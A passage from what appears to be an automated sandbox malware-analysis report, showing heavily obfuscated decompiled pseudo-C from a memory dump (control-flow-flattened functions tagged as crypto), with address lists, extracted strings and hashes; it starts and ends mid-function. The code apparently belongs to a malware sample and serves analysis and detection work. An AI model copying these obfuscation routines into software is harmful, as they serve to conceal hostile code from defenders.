				_v1688 = _v1688 ^ 0xaf3a1319;
				_v1660 = 0x9f9940;
				_v1660 = _v1660 | 0x53564beb;
				_v1660 = _v1660 + 0x505b;
				_v1660 = _v1660 ^ 0x53e33529;
				_v1600 = 0xb16c74;
				_v1600 = _v1600 * 0x6d;
				_v1600 = _v1600 ^ 0x4b81be43;
				_v1608 = 0x2a287c;
				_v1608 = _v1608 | 0x04ab5535;
				_v1608 = _v1608 ^ 0x04a38853;
				_v1616 = 0x89c80a;
				_v1616 = _v1616 | 0x954cf2f1;
				_v1616 = _v1616 ^ 0x95c7435e;
				_v1720 = 0xed19c5;
				_v1720 = _v1720 + 0x5778;
				_v1720 = _v1720 / _t482;
				_v1720 = _v1720 | 0xf3a69058;
				_v1720 = _v1720 ^ 0xf3ab39a1;
				_v1640 = 0xb2891c;
				_v1640 = _v1640 + 0x5668;
				_t483 = 0x38;
				_v1640 = _v1640 / _t483;
				_v1640 = _v1640 ^ 0x00008dd3;
				_v1624 = 0x99c5ec;
				_v1624 = _v1624 << 0xa;
				_v1624 = _v1624 ^ 0x671b74a8;
				_v1728 = 0x12e9b6;
				_v1728 = _v1728 + 0xffff9a22;
				_v1728 = _v1728 ^ 0xdf168593;
				_v1728 = _v1728 >> 3;
				_v1728 = _v1728 ^ 0x1be0d240;
				_v1648 = 0x44db66;
				_v1648 = _v1648 << 5;
				_v1648 = _v1648 + 0xffffd6a5;
				_v1648 = _v1648 ^ 0x0890d14f;
				_v1736 = 0x3d89fa;
				_v1736 = _v1736 | 0x17dab9fa;
				_v1736 = _v1736 << 0xb;
				_v1736 = _v1736 + 0x5385;
				_v1736 = _v1736 ^ 0xfdde1303;
				_v1656 = 0xd3b8a3;
				_v1656 = _v1656 + 0xffff3f01;
				_v1656 = _v1656 >> 0xd;
				_v1656 = _v1656 ^ 0x000ca91d;
				_v1744 = 0x4b62a6;
				_v1744 = _v1744 | 0x87af92a3;
				_v1744 = _v1744 + 0x6243;
				_v1744 = _v1744 >> 5;
				_v1744 = _v1744 ^ 0x0430b30b;
				_v1596 = 0x609a66;
				_v1596 = _v1596 + 0x67ed;
				_v1596 = _v1596 ^ 0x006685f4;
				_v1568 = 0xe1fc2d;
				_v1568 = _v1568 + 0xffffa85e;
				_v1568 = _v1568 ^ 0x00e0c85f;
				_v1664 = 0x458e39;
				_v1664 = _v1664 | 0xe1a9ddeb;
				_v1664 = _v1664 + 0xa342;
				_v1664 = _v1664 ^ 0xe1ebbc10;
				_v1692 = 0x21a211;
				_v1692 = _v1692 ^ 0xf70e94e6;
				_v1692 = _v1692 | 0x495e1ff5;
				_v1692 = _v1692 ^ 0xff731ba7;
				_v1592 = 0xe0a826;
				_v1592 = _v1592 | 0x1c2a3267;
				_v1592 = _v1592 ^ 0x1cefcd0b;
				_v1712 = 0x24bd80;
				_v1712 = _v1712 | 0x7fffefff;
				_v1712 = _v1712 ^ 0x7ff9a260;
				_v1708 = 0xb697;
				_v1708 = _v1708 >> 0xa;
				_v1708 = _v1708 + 0xffffb905;
				_t484 = 0x3a;
				_v1708 = _v1708 / _t484;
				_v1708 = _v1708 ^ 0x046598a2;
				_v1564 = 0xca9a3a;
				_v1564 = _v1564 + 0xdbe7;
				_v1564 = _v1564 ^ 0x00cf55d9;
				_v1672 = 0x92ef8e;
				_t485 = 0x3c;
				_v1672 = _v1672 / _t485;
				_v1672 = _v1672 >> 8;
				_v1672 = _v1672 ^ 0x000477f6;
				_v1584 = 0x1b1235;
				_v1584 = _v1584 ^ 0x13c2311f;
				_v1584 = _v1584 ^ 0x13d0aaf6;
				_v1696 = 0xd2fdc3;
				_v1696 = _v1696 + 0xfffff708;
				_t486 = 0x60;
				_t493 = _v1576;
				_t487 = _v1576;
				_t439 = _v1576;
				_v1696 = _v1696 / _t486;
				_v1696 = _v1696 + 0xffff2ac1;
				_v1696 = _v1696 ^ 0x00067714;
				_v1704 = 0x852645;
				_v1704 = _v1704 + 0xffff3725;
				_v1704 = _v1704 | 0x39ebeb31;
				_v1704 = _v1704 >> 7;
				_v1704 = _v1704 ^ 0x007ab2fb;
				while(1) {
					L1:
					_t470 = 0x5c;
					do {
						while(1) {
							L2:
							_t496 = _t440 - 0xab4f50e;
							if(_t496 <= 0) {
								break;
							}
							__eflags = _t440 - 0xac222e1;
							if(_t440 == 0xac222e1) {
								E00FAB464(_t439, _v1592, _v1712, _t493);
								_t440 = 0x7220489;
								_t470 = 0x5c;
								goto L26;
							} else {
								__eflags = _t440 - 0xb1fd63d;
								if(_t440 == 0xb1fd63d) {
									_t489 =  *0xfc5218 + 0x234;
									while(1) {
										__eflags =  *_t489 - _t470;
										if(__eflags == 0) {
											break;
										}
										_t489 = _t489 + 2;
										__eflags = _t489;
									}
									_t487 = _t489 + 2;
									_t440 = 0xc7cbd0f;
									continue;
								} else {
									__eflags = _t440 - 0xc7cbd0f;
									if(_t440 != 0xc7cbd0f) {
										goto L26;
									} else {
										_t438 = E00FAACDB(_t440, _v1600, _v1608, _v1632, _t440, _v1616);
										_t439 = _t438;
										_t494 =  &(_t494[4]);
										__eflags = _t438;
										if(__eflags != 0) {
											_t440 = 0xab4f50e;
											while(1) {
												L1:
												_t470 = 0x5c;
												goto L2;
											}
										}
									}
								}
							}
							L9:
							return _t490;
						}
						if(_t496 == 0) {
							_t424 = E00FBB3BE(_t487, _v1720, _t440, _v1640, _v1624, _v1728, _v1588, _v1648, _v1736, _t440, _v1572, _t440, _v1656, _v1744, _v1748, _t439, _t440, _v1596,  &_v520, _t440, _v1568, _v1664, _v1604, _t487, _v1692);
							_t493 = _t424;
							_t494 =  &(_t494[0x17]);
							__eflags = _t424;
							if(__eflags == 0) {
								goto L11;
							} else {
								_t440 = 0xac222e1;
								_t490 = 1;
								_v1576 = 1;
								goto L1;
							}
						} else {
							if(_t440 == 0x4d2f71a) {
								_push(_v1676);
								_push(_v1652);
								_t425 = E00FBCD35(0xfa1020, _v1716, __eflags);
								E00FC23F2( &_v1560, __eflags);
								E00FBE35F( *0xfc5218 + 0x18, __eflags, _v1724, _v1636, _v1612, 0x104, _v1668,  &_v520,  &_v1560, _t425, _v1700,  *0xfc5218 + 0x234, _v1732);
								E00FB629F(_v1580, _t425, _v1680, _v1688, _v1660);
								_t490 = _v1576;
								_t494 =  &(_t494[0x10]);
								_t440 = 0xb1fd63d;
								while(1) {
									L1:
									_t470 = 0x5c;
									goto L2;
								}
							} else {
								if(_t440 == 0x6dd668d) {
									E00FAB3B4(_v1644, _t440, _v1684, _t440, _v1740,  &_v1040, _v1628, _v1620);
									_t494 =  &(_t494[7]);
									_t440 = 0x4d2f71a;
									while(1) {
										L1:
										_t470 = 0x5c;
										goto L2;
									}
								} else {
									if(_t440 == 0x7220489) {
										E00FAEDC5(_v1708, _t493, _v1564, _v1672);
										L11:
										_t440 = 0x739dfbe;
										while(1) {
											L1:
											_t470 = 0x5c;
											goto L2;
										}
									} else {
										if(_t440 != 0x739dfbe) {
											goto L26;
										} else {
											E00FAEDC5(_v1584, _t439, _v1696, _v1704);
										}
									}
								}
							}
						}
						goto L9;
						L26:
						__eflags = _t440 - 0x18c7ad4;
					} while (__eflags != 0);
					goto L9;
				}
			}

0x00fa59bf
0x00fa59c5
0x00fa59d2
0x00fa59da
0x00fa59df
0x00fa59ea
0x00fa59f2
0x00fa5a00
0x00fa5a07
0x00fa5a09
0x00fa5a14
0x00fa5a1f
0x00fa5a2a
0x00fa5a35
0x00fa5a3d
0x00fa5a42
0x00fa5a4a
0x00fa5a4f
0x00fa5a57
0x00fa5a62
0x00fa5a6d
0x00fa5a78
0x00fa5a83
0x00fa5a8e
0x00fa5a99
0x00fa5aa1
0x00fa5aa9
0x00fa5ab1
0x00fa5ab9
0x00fa5ac1
0x00fa5ac9
0x00fa5ad1
0x00fa5ad9
0x00fa5ae1
0x00fa5aec
0x00fa5af1
0x00fa5af7
0x00fa5afc
0x00fa5b04
0x00fa5b0f
0x00fa5b17
0x00fa5b22
0x00fa5b2a
0x00fa5b32
0x00fa5b3a
0x00fa5b42
0x00fa5b4a
0x00fa5b57
0x00fa5b58
0x00fa5b5f
0x00fa5b68
0x00fa5b6c
0x00fa5b74
0x00fa5b7c
0x00fa5b84
0x00fa5b8c
0x00fa5b94
0x00fa5b9c
0x00fa5ba6
0x00fa5baa
0x00fa5baf
0x00fa5bb7
0x00fa5bcb
0x00fa5bd2
0x00fa5bda
0x00fa5be5
0x00fa5bfc
0x00fa5bff
0x00fa5c06
0x00fa5c11
0x00fa5c19
0x00fa5c1d
0x00fa5c22
0x00fa5c2a
0x00fa5c32
0x00fa5c3a
0x00fa5c42
0x00fa5c46
0x00fa5c4e
0x00fa5c56
0x00fa5c5e
0x00fa5c66
0x00fa5c6b
0x00fa5c73
0x00fa5c7e
0x00fa5c89
0x00fa5c94
0x00fa5c9c
0x00fa5ca4
0x00fa5cac
0x00fa5cb4
0x00fa5cbc
0x00fa5cc0
0x00fa5cc8
0x00fa5cd0
0x00fa5cd8
0x00fa5ce0
0x00fa5ce8
0x00fa5cf0
0x00fa5d03
0x00fa5d0a
0x00fa5d15
0x00fa5d20
0x00fa5d2b
0x00fa5d36
0x00fa5d41
0x00fa5d4c
0x00fa5d57
0x00fa5d5f
0x00fa5d6f
0x00fa5d73
0x00fa5d7b
0x00fa5d83
0x00fa5d8e
0x00fa5da0
0x00fa5da3
0x00fa5da7
0x00fa5daf
0x00fa5dba
0x00fa5dc2
0x00fa5dcd
0x00fa5dd5
0x00fa5ddd
0x00fa5de5
0x00fa5dea
0x00fa5df2
0x00fa5dfa
0x00fa5dff
0x00fa5e07
0x00fa5e0f
0x00fa5e17
0x00fa5e1f
0x00fa5e24
0x00fa5e2c
0x00fa5e34
0x00fa5e3c
0x00fa5e44
0x00fa5e49
0x00fa5e53
0x00fa5e5b
0x00fa5e63
0x00fa5e6b
0x00fa5e70
0x00fa5e78
0x00fa5e83
0x00fa5e8e
0x00fa5e99
0x00fa5ea4
0x00fa5eaf
0x00fa5eba
0x00fa5ec2
0x00fa5eca
0x00fa5ed2
0x00fa5eda
0x00fa5ee2
0x00fa5eea
0x00fa5ef2
0x00fa5efa
0x00fa5f05
0x00fa5f10
0x00fa5f1b
0x00fa5f23
0x00fa5f2b
0x00fa5f33
0x00fa5f3b
0x00fa5f40
0x00fa5f4e
0x00fa5f53
0x00fa5f59
0x00fa5f61
0x00fa5f6c
0x00fa5f77
0x00fa5f82
0x00fa5f8e
0x00fa5f93
0x00fa5f99
0x00fa5f9e
0x00fa5fa6
0x00fa5fb1
0x00fa5fbc
0x00fa5fc7
0x00fa5fcf
0x00fa5fdb
0x00fa5fde
0x00fa5fe5
0x00fa5fec
0x00fa5ff3
0x00fa5ff7
0x00fa5fff
0x00fa6007
0x00fa600f
0x00fa6017
0x00fa601f
0x00fa6024
0x00fa602c
0x00fa602c
0x00fa602e
0x00fa602f
0x00fa602f
0x00fa602f
0x00fa602f
0x00fa6035
0x00000000
0x00000000
0x00fa6230
0x00fa6236
0x00fa62b2
0x00fa62bb
0x00fa62c0
0x00000000
0x00fa6238
0x00fa6238
0x00fa623e
0x00fa6287
0x00fa6292
0x00fa6292
0x00fa6295
0x00000000
0x00000000
0x00fa628f
0x00fa628f
0x00fa628f
0x00fa6297
0x00fa629a
0x00000000
0x00fa6240
0x00fa6240
0x00fa6246
0x00000000
0x00fa6248
0x00fa6265
0x00fa626a
0x00fa626c
0x00fa626f
0x00fa6271
0x00fa6277
0x00fa602c
0x00fa602c
0x00fa602e
0x00000000
0x00fa602e
0x00fa602c
0x00fa6271
0x00fa6246
0x00fa623e
0x00fa6082
0x00fa608d
0x00fa608d
0x00fa603b
0x00fa620a
0x00fa620f
0x00fa6211
0x00fa6214
0x00fa6216
0x00000000
0x00fa621c
0x00fa621e
0x00fa6223
0x00fa6224
0x00000000
0x00fa6224
0x00fa6041
0x00fa6047
0x00fa60e9
0x00fa60f2
0x00fa60fa
0x00fa6108
0x00fa615f
0x00fa6182
0x00fa6187
0x00fa618e
0x00fa6191
0x00fa602c
0x00fa602c
0x00fa602e
0x00000000
0x00fa602e
0x00fa604d
0x00fa6053
0x00fa60d7
0x00fa60dc
0x00fa60df
0x00fa602c
0x00fa602c
0x00fa602e
0x00000000
0x00fa602e
0x00fa6055
0x00fa605b
0x00fa609f
0x00fa60a6
0x00fa60a6
0x00fa602c
0x00fa602c
0x00fa602e
0x00000000
0x00fa602e
0x00fa605d
0x00fa6063
0x00000000
0x00fa6069
0x00fa607a
0x00fa6080
0x00fa6063
0x00fa605b
0x00fa6053
0x00fa6047
0x00000000
0x00fa62c1
0x00fa62c1
0x00fa62c1
0x00000000
0x00fa62cd

Strings

g, xrefs: 00FA5E83
,-, xrefs: 00FA5A14
xW, xrefs: 00FA5D5F
Cb, xrefs: 00FA5E63
19, xrefs: 00FA6017
)5S, xrefs: 00FA5CE8
"O, xrefs: 00FA5AC9
Uu, xrefs: 00FA5AA1
hV, xrefs: 00FA5D8E
|(*, xrefs: 00FA5D15

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "O$)5S$,-$19$Cb$Uu$hV$xW$|(*$g
API String ID: 0-1036375657
Opcode ID: a0092cfc90114e70b994928399627141130c533f0621513f89ea8afe1683eaaf
Instruction ID: fe64e545926d4ca8c9ad9c91f3691852756e62446fa9710fb5e00cf644786d5e
Opcode Fuzzy Hash: a0092cfc90114e70b994928399627141130c533f0621513f89ea8afe1683eaaf
Instruction Fuzzy Hash: A822247150C3809FD7A8CF61C54AA9BFBE1FBC1718F10891DE19A86260C7B18949DF53

Uniqueness

Uniqueness Score: -1.00%

Function 00FA7795, Relevance: 12.7, Strings: 10, Instructions: 225
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00FA7795() {
				signed int _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				void* _t240;
				void* _t247;
				signed int _t248;
				intOrPtr* _t250;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				void* _t255;
				void* _t275;
				signed int* _t279;

				_t279 =  &_v112;
				_v12 = 0x3769c;
				_v4 = 0;
				_v8 = 0x151e38;
				_v56 = 0x3d41f1;
				_v56 = _v56 + 0xffffd857;
				_v16 = 0;
				_t275 = 0x33815b;
				_t251 = 0x1d;
				_push("true");
				_v56 = _v56 / _t251;
				_v56 = _v56 ^ 0x80021b62;
				_v92 = 0xdcca16;
				_v92 = _v92 | 0x76de14f0;
				_v92 = _v92 + 0xffff8ede;
				_v92 = _v92 << 7;
				_v92 = _v92 ^ 0x6f36ea02;
				_v32 = 0x77758c;
				_v32 = _v32 | 0xc8e26dc8;
				_v32 = _v32 ^ 0xc8fd8a5b;
				_v36 = 0xb0485;
				_v36 = _v36 << 0xe;
				_v36 = _v36 ^ 0xc127eeb7;
				_v104 = 0xcd60c4;
				_v104 = _v104 << 8;
				_pop(_t252);
				_v104 = _v104 * 0x33;
				_v104 = _v104 << 4;
				_v104 = _v104 ^ 0xa47e43fe;
				_v24 = 0xebb6b2;
				_v24 = _v24 * 0x56;
				_v24 = _v24 ^ 0x4f28e1eb;
				_v96 = 0x7a5126;
				_v96 = _v96 << 6;
				_v96 = _v96 | 0x630628b7;
				_v96 = _v96 + 0x3636;
				_v96 = _v96 ^ 0x7f9f3bbe;
				_v100 = 0x880cf0;
				_v100 = _v100 + 0xffff137b;
				_v100 = _v100 << 6;
				_v100 = _v100 ^ 0x1cd5e106;
				_v100 = _v100 ^ 0x3d16cee0;
				_v60 = 0x1c038;
				_v60 = _v60 + 0x5e48;
				_v60 = _v60 + 0xffffa27b;
				_v60 = _v60 ^ 0x0000fead;
				_v28 = 0x7c413c;
				_v28 = _v28 + 0xffffdb9e;
				_v28 = _v28 ^ 0x0073b996;
				_v64 = 0x7141bf;
				_v64 = _v64 + 0xffff8145;
				_v64 = _v64 / _t252;
				_v64 = _v64 ^ 0x00081e28;
				_v52 = 0x81ec0d;
				_v52 = _v52 >> 1;
				_v52 = _v52 + 0xffffcd38;
				_v52 = _v52 ^ 0x004a5346;
				_v80 = 0xb145f4;
				_t253 = 0x3d;
				_v80 = _v80 / _t253;
				_v80 = _v80 + 0x829b;
				_v80 = _v80 * 0x57;
				_v80 = _v80 ^ 0x012858b7;
				_v84 = 0xd3764b;
				_v84 = _v84 << 8;
				_v84 = _v84 + 0x6fa3;
				_v84 = _v84 << 8;
				_v84 = _v84 ^ 0x76b49c4d;
				_v88 = 0x5d3077;
				_v88 = _v88 + 0x766;
				_v88 = _v88 + 0xffffc987;
				_v88 = _v88 + 0x6eb6;
				_v88 = _v88 ^ 0x005317af;
				_v40 = 0x975c43;
				_t254 = 0x63;
				_t248 = _v16;
				_v40 = _v40 * 0xe;
				_v40 = _v40 ^ 0x0848c60e;
				_v44 = 0x6008c2;
				_v44 = _v44 | 0x3bc5621d;
				_v44 = _v44 ^ 0x3bef26a9;
				_v108 = 0xd2d0da;
				_v108 = _v108 * 0x35;
				_v108 = _v108 + 0xffffff06;
				_v108 = _v108 * 0x13;
				_v108 = _v108 ^ 0x3d4167ed;
				_v112 = 0x257da6;
				_v112 = _v112 + 0x40eb;
				_v112 = _v112 + 0xffff725c;
				_v112 = _v112 / _t254;
				_v112 = _v112 ^ 0x000ff7fb;
				_v68 = 0x6a5fab;
				_v68 = _v68 | 0x92dad95d;
				_v68 = _v68 ^ 0x03dbdb0d;
				_v68 = _v68 >> 6;
				_v68 = _v68 ^ 0x024a0fe3;
				_v72 = 0x2e74b0;
				_v72 = _v72 + 0x3ddf;
				_v72 = _v72 ^ 0x9da7b5bd;
				_v72 = _v72 << 0xa;
				_v72 = _v72 ^ 0x241b801f;
				_v76 = 0x735c6b;
				_v76 = _v76 ^ 0x38220f0e;
				_v76 = _v76 << 7;
				_v76 = _v76 | 0xb98203c4;
				_v76 = _v76 ^ 0xb9ab522c;
				_v48 = 0x3024d6;
				_v48 = _v48 + 0xfffff436;
				_v48 = _v48 >> 1;
				_v48 = _v48 ^ 0x0017b6fb;
				while(1) {
					L1:
					_t255 = 0x5c;
					while(1) {
						_t240 = 0xde0911a;
						do {
							L3:
							if(_t275 == 0x33815b) {
								_t275 = 0xb9bce4;
								goto L15;
							} else {
								if(_t275 == 0xb9bce4) {
									_t250 =  *0xfc5218 + 0x234;
									while(1) {
										__eflags =  *_t250 - _t255;
										if(__eflags == 0) {
											break;
										}
										_t250 = _t250 + 2;
										__eflags = _t250;
									}
									_t248 = _t250 + 2;
									_t275 = 0x367b54d;
									_t240 = 0xde0911a;
									continue;
								} else {
									if(_t275 == 0x367b54d) {
										_push(_v104);
										_push(_v36);
										__eflags = E00FA975A(0xfa10a0,  &_v20, _v92, _v24, _v56, _v96, _v100, _v60, _v28, _v64, 0xfa10a0, 0xfa10a0, E00FBCD35(0xfa10a0, _v32, __eflags));
										_t275 =  ==  ? 0xde0911a : 0xd16896e;
										E00FB629F(_v52, _t241, _v80, _v84, _v88);
										_t279 =  &(_t279[0x10]);
										_t240 = 0xde0911a;
										_t255 = 0x5c;
										goto L15;
									} else {
										if(_t275 == 0x99837b9) {
											E00FA9FE4(_v20, _v68, _v72, _v76, _v48);
										} else {
											if(_t275 != _t240) {
												goto L15;
											} else {
												_t247 = E00FAED15(_v20, _v40, _v44, _t248, _v108, _v112);
												_t279 =  &(_t279[4]);
												_t275 = 0x99837b9;
												_v16 = 0 | _t247 == 0x00000000;
												goto L1;
											}
										}
									}
								}
							}
							L18:
							return _v16;
							L15:
							__eflags = _t275 - 0xd16896e;
						} while (__eflags != 0);
						goto L18;
					}
				}
			}

0x00fa7795
0x00fa7798
0x00fa77a2
0x00fa77a8
0x00fa77b0
0x00fa77b8
0x00fa77c4
0x00fa77c8
0x00fa77d3
0x00fa77d6
0x00fa77d8
0x00fa77de
0x00fa77e6
0x00fa77ee
0x00fa77f6
0x00fa77fe
0x00fa7803
0x00fa780b
0x00fa7813
0x00fa781b
0x00fa7823
0x00fa782b
0x00fa7830
0x00fa7838
0x00fa7840
0x00fa784a
0x00fa784d
0x00fa7851
0x00fa7856
0x00fa785e
0x00fa786b
0x00fa786f
0x00fa7877
0x00fa787f
0x00fa7884
0x00fa788c
0x00fa7894
0x00fa789c
0x00fa78a4
0x00fa78ac
0x00fa78b1
0x00fa78b9
0x00fa78c1
0x00fa78c9
0x00fa78d1
0x00fa78d9
0x00fa78e1
0x00fa78e9
0x00fa78f1
0x00fa78f9
0x00fa7901
0x00fa7911
0x00fa7915
0x00fa791d
0x00fa7925
0x00fa7929
0x00fa7931
0x00fa7939
0x00fa7945
0x00fa7948
0x00fa794c
0x00fa7959
0x00fa795d
0x00fa7965
0x00fa796f
0x00fa7979
0x00fa7981
0x00fa7986
0x00fa798e
0x00fa7996
0x00fa799e
0x00fa79a6
0x00fa79ae
0x00fa79b6
0x00fa79c5
0x00fa79c6
0x00fa79ca
0x00fa79ce
0x00fa79d6
0x00fa79de
0x00fa79e6
0x00fa79ee
0x00fa79fb
0x00fa79ff
0x00fa7a0c
0x00fa7a10
0x00fa7a18
0x00fa7a20
0x00fa7a28
0x00fa7a36
0x00fa7a3a
0x00fa7a42
0x00fa7a4a
0x00fa7a52
0x00fa7a5a
0x00fa7a5f
0x00fa7a67
0x00fa7a6f
0x00fa7a77
0x00fa7a7f
0x00fa7a84
0x00fa7a8c
0x00fa7a94
0x00fa7a9c
0x00fa7aa1
0x00fa7aa9
0x00fa7ab1
0x00fa7ab9
0x00fa7ac1
0x00fa7ac5
0x00fa7acd
0x00fa7acd
0x00fa7acf
0x00fa7ad0
0x00fa7ad0
0x00fa7ad5
0x00fa7ad5
0x00fa7adb
0x00fa7bd4
0x00000000
0x00fa7ae1
0x00fa7ae3
0x00fa7bb7
0x00fa7bc2
0x00fa7bc2
0x00fa7bc5
0x00000000
0x00000000
0x00fa7bbf
0x00fa7bbf
0x00fa7bbf
0x00fa7bc7
0x00fa7bca
0x00fa7ad0
0x00000000
0x00fa7ae9
0x00fa7aef
0x00fa7b34
0x00fa7b3d
0x00fa7b7f
0x00fa7b9c
0x00fa7b9f
0x00fa7ba4
0x00fa7ba7
0x00fa7bae
0x00000000
0x00fa7af1
0x00fa7af7
0x00fa7bf8
0x00fa7afd
0x00fa7aff
0x00000000
0x00fa7b05
0x00fa7b1a
0x00fa7b21
0x00fa7b26
0x00fa7b2e
0x00000000
0x00fa7b2e
0x00fa7aff
0x00fa7af7
0x00fa7aef
0x00fa7ae3
0x00fa7c00
0x00fa7c0b
0x00fa7bd6
0x00fa7bd6
0x00fa7bd6
0x00000000
0x00fa7be2
0x00fa7ad0

Strings

k\s, xrefs: 00FA7A8C
66, xrefs: 00FA788C
gA=, xrefs: 00FA7A10
@, xrefs: 00FA7A20
&Qz, xrefs: 00FA7877
<A|, xrefs: 00FA78E1
w0], xrefs: 00FA798E
FSJ, xrefs: 00FA7931
(O, xrefs: 00FA786F
H^, xrefs: 00FA78C9

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &Qz$66$<A|$FSJ$H^$k\s$w0]$@$gA=$(O
API String ID: 0-3837304947
Opcode ID: 33dcdace597efd651e9236661654521c8a0291e8fbc131f9ba20782f820f60f6
Instruction ID: d395968ddf8c0bdc5ad57b4b6ced9e48a656a94ea5297525806c524c04a22f72
Opcode Fuzzy Hash: 33dcdace597efd651e9236661654521c8a0291e8fbc131f9ba20782f820f60f6
Instruction Fuzzy Hash: 42B11EB250D3809FC394CF25C98A80FBBF1BBC5758F504A1DF195962A0D3B58A49CF46

Uniqueness

Uniqueness Score: -1.00%

Function 00FC261E, Relevance: 12.7, Strings: 10, Instructions: 201
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00FC261E(void* __ecx, void* __edx) {
				signed int _v4;
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _t199;
				signed int _t201;
				signed int _t203;
				void* _t206;
				signed int _t208;
				signed int _t209;
				void* _t224;
				void* _t225;
				signed int* _t228;

				_t228 =  &_v96;
				_v8 = _v8 & 0x00000000;
				_v4 = _v4 & 0x00000000;
				_v16 = 0x13f6e3;
				_v12 = 0xf1f80a;
				_v44 = 0xfb1edb;
				_t224 = __edx;
				_t206 = __ecx;
				_t225 = 0x4fb10bf;
				_t208 = 0x7d;
				_v44 = _v44 / _t208;
				_v44 = _v44 ^ 0x00020bb5;
				_v68 = 0x95b457;
				_v68 = _v68 + 0xffff80a6;
				_v68 = _v68 + 0xf3cf;
				_v68 = _v68 ^ 0x0097bbfe;
				_v64 = 0xfe40e7;
				_t209 = 0x7b;
				_v64 = _v64 * 0x2e;
				_v64 = _v64 * 0x4e;
				_v64 = _v64 ^ 0xeb83aa68;
				_v96 = 0xadf696;
				_v96 = _v96 * 3;
				_v96 = _v96 >> 0xa;
				_v96 = _v96 * 0x74;
				_v96 = _v96 ^ 0x003a584e;
				_v32 = 0xe93227;
				_v32 = _v32 + 0x6b73;
				_v32 = _v32 ^ 0x00e805b4;
				_v36 = 0x3c30e7;
				_v36 = _v36 | 0xdee0074a;
				_v36 = _v36 ^ 0xdefaf98e;
				_v40 = 0x1efef8;
				_v40 = _v40 | 0xdf1c2796;
				_v40 = _v40 ^ 0xdf1ee469;
				_v92 = 0xd2dd9e;
				_v92 = _v92 >> 9;
				_t57 =  &_v92; // 0x9
				_v92 =  *_t57 * 0x76;
				_v92 = _v92 | 0xc83581eb;
				_v92 = _v92 ^ 0xc8391980;
				_v56 = 0x4a018f;
				_v56 = _v56 + 0xffffa7db;
				_v56 = _v56 | 0x832de762;
				_v56 = _v56 ^ 0x83627da2;
				_v28 = 0x6201a0;
				_v28 = _v28 / _t209;
				_v28 = _v28 ^ 0x00045532;
				_v60 = 0x64cc7b;
				_v60 = _v60 * 0x6a;
				_v60 = _v60 << 0xf;
				_v60 = _v60 ^ 0x557fa729;
				_v76 = 0x39ae4b;
				_v76 = _v76 ^ 0xc1a4e08e;
				_v76 = _v76 << 0xe;
				_v76 = _v76 + 0x737c;
				_v76 = _v76 ^ 0x53b3b245;
				_v80 = 0x43b44d;
				_v80 = _v80 + 0xffffd108;
				_v80 = _v80 ^ 0xb3a85a57;
				_v80 = _v80 * 0x16;
				_v80 = _v80 ^ 0x76466d58;
				_v52 = 0x43a350;
				_v52 = _v52 + 0xb5e1;
				_v52 = _v52 + 0x6429;
				_v52 = _v52 ^ 0x004d0aff;
				_v84 = 0x69869a;
				_t210 = 0x63;
				_v84 = _v84 * 0x13;
				_v84 = _v84 + 0xda19;
				_v84 = _v84 ^ 0x1d311734;
				_v84 = _v84 ^ 0x1aea7160;
				_v88 = 0x1d035e;
				_v88 = _v88 << 0xc;
				_v88 = _v88 * 0x51;
				_v88 = _v88 + 0xffff4d79;
				_v88 = _v88 ^ 0xe1072623;
				_v48 = 0xaf1ee2;
				_v48 = _v48 >> 4;
				_v48 = _v48 >> 0xa;
				_v48 = _v48 ^ 0x0006a00c;
				_v72 = 0x859658;
				_v72 = _v72 | 0xc5b36f1e;
				_v72 = _v72 * 0x73;
				_v72 = _v72 << 0xd;
				_v72 = _v72 ^ 0xf6e599a4;
				_v20 = 0x9d3fd6;
				_t199 = _v20;
				_t221 = _t199 % _t210;
				_v20 = _t199 / _t210;
				_v20 = _v20 ^ 0x0000c172;
				_v24 = 0x563333;
				_v24 = _v24 | 0xbe94e07b;
				_v24 = _v24 ^ 0xbedae89d;
				while(1) {
					L1:
					_t201 = 0x273cd46;
					do {
						L2:
						while(_t225 != 0x1acfa64) {
							if(_t225 == _t201) {
								_t201 = E00FAAD82(_v76, _t221, _v80, _t224, _v76, _v76, _v52, _v84, _t210, _v88, E00FBE3B5);
								_t228 =  &(_t228[9]);
								 *(_t224 + 0x34) = _t201;
								__eflags = _t201;
								if(__eflags == 0) {
									_t225 = 0x1acfa64;
									goto L1;
								}
							} else {
								if(_t225 == 0x42103da) {
									_t221 = _v56;
									_t210 =  *(_t224 + 0x20);
									_t203 = E00FB36D5( *(_t224 + 0x20), _v56, _v28, _v60);
									_t228 =  &(_t228[2]);
									 *(_t224 + 0x28) = _t203;
									__eflags = _t203;
									_t201 = 0x273cd46;
									_t225 =  !=  ? 0x273cd46 : 0x1acfa64;
									continue;
								} else {
									if(_t225 == 0x4a0fd12) {
										_push(_v68);
										_t201 = E00FA40E2(_v44, _t206, __eflags, _t210);
										 *(_t224 + 0x20) = _t201;
										__eflags = _t201;
										if(_t201 != 0) {
											E00FAC9A9(_v64, _t201, _t201, _v96);
											_push( *(_t224 + 0x20));
											_push(_v92);
											_push(_v40);
											_t221 = _v36;
											_t210 = _v32;
											E00FB62F5(_v32, _v36);
											_t228 =  &(_t228[5]);
											_t225 = 0x42103da;
											while(1) {
												L1:
												_t201 = 0x273cd46;
												goto L2;
											}
										}
									} else {
